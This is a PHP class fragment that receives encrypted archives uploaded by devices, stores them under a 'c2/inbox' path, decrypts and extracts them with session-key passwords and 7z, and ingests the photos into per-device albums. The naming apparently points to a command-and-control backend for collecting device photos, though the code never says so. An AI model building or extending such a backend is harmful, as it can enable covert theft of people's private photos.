$rawCounters */ public function accept( Device $device, string $absolutePath, string $batchBase, array $photoMeta, string $flavor, array $rawCounters, ): void { if (! $device->albumStorageEnabled() || ! is_file($absolutePath)) { return; } $rel = 'c2/inbox/'.$device->device_id.'/'.date('YmdHis').'_'.str_replace('.', '', uniqid('', true)).'.bin'; $fh = fopen($absolutePath, 'rb'); if ($fh === false) { return; } try { Storage::disk('local')->put($rel, $fh); } finally { if (is_resource($fh)) { fclose($fh); } } if (config('queue.default') === 'sync') { $this->process($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters); return; } ExtractPhotoArchive::dispatch($device->id, $rel, $batchBase, $photoMeta, $flavor, $rawCounters) ->onQueue('extract'); } /** * Same failure policy as the old in-request extract: * 7z miss / empty members → log ok=false, skip ingest, never throw to the client. * * @param array $photoMeta * @param array $rawCounters */ public function process( int $deviceId, string $inboxPath, string $batchBase, array $photoMeta, string $flavor, array $rawCounters, ): void { $logType = $flavor === 'xxbb' ? 'xxbb' : 'c2'; $event = $flavor === 'xxbb' ? 'xxbb_photo_extract' : 'check_extract'; $device = Device::query()->find($deviceId); $abs = Storage::disk('local')->path($inboxPath); try { if ($device === null || ! $device->albumStorageEnabled() || ! is_file($abs)) { create_log([ 'event' => $event, 'device_key' => $device?->device_id, 'extract' => [ 'ok' => false, 'files' => [], 'password_recipe' => 'session_key||'.$batchBase, 'stderr' => 'inbox missing or album storage off', ], 'photo_meta' => $photoMeta, 'raw_counters' => $rawCounters, ], $logType); return; } $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); try { $extracted = $this->archiveFor($flavor)->extractPath($abs, $work, $batchBase); if (! empty($extracted['files'])) { $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); } create_log([ 'event' => $event, 'device_key' => $device->device_id, 'extract' => [ 'ok' => $extracted['ok'], 'files' => array_map('basename', $extracted['files']), 'password_recipe' => $extracted['password_recipe'], 'stderr' => substr((string) $extracted['stderr'], 0, 2000), ], 'photo_meta' => $photoMeta, 'raw_counters' => $rawCounters, ], $logType); } catch (\Throwable $e) { create_log([ 'event' => $event, 'device_key' => $device->device_id, 'extract' => [ 'ok' => false, 'files' => [], 'password_recipe' => 'session_key||'.$batchBase, 'stderr' => substr($e->getMessage(), 0, 2000), ], 'photo_meta' => $photoMeta, 'raw_counters' => $rawCounters, ], $logType); } finally { CorunaArchive::forgetWorkDir($work); } } finally { Storage::disk('local')->delete($inboxPath); } } private function archiveFor(string $flavor): CorunaArchive { if ($flavor === 'xxbb') { return new CorunaArchive( DecryptXxbbBody::crypto(), (string) config('coruna.seven_zip', ''), ); } return app(CorunaArchive::class); } }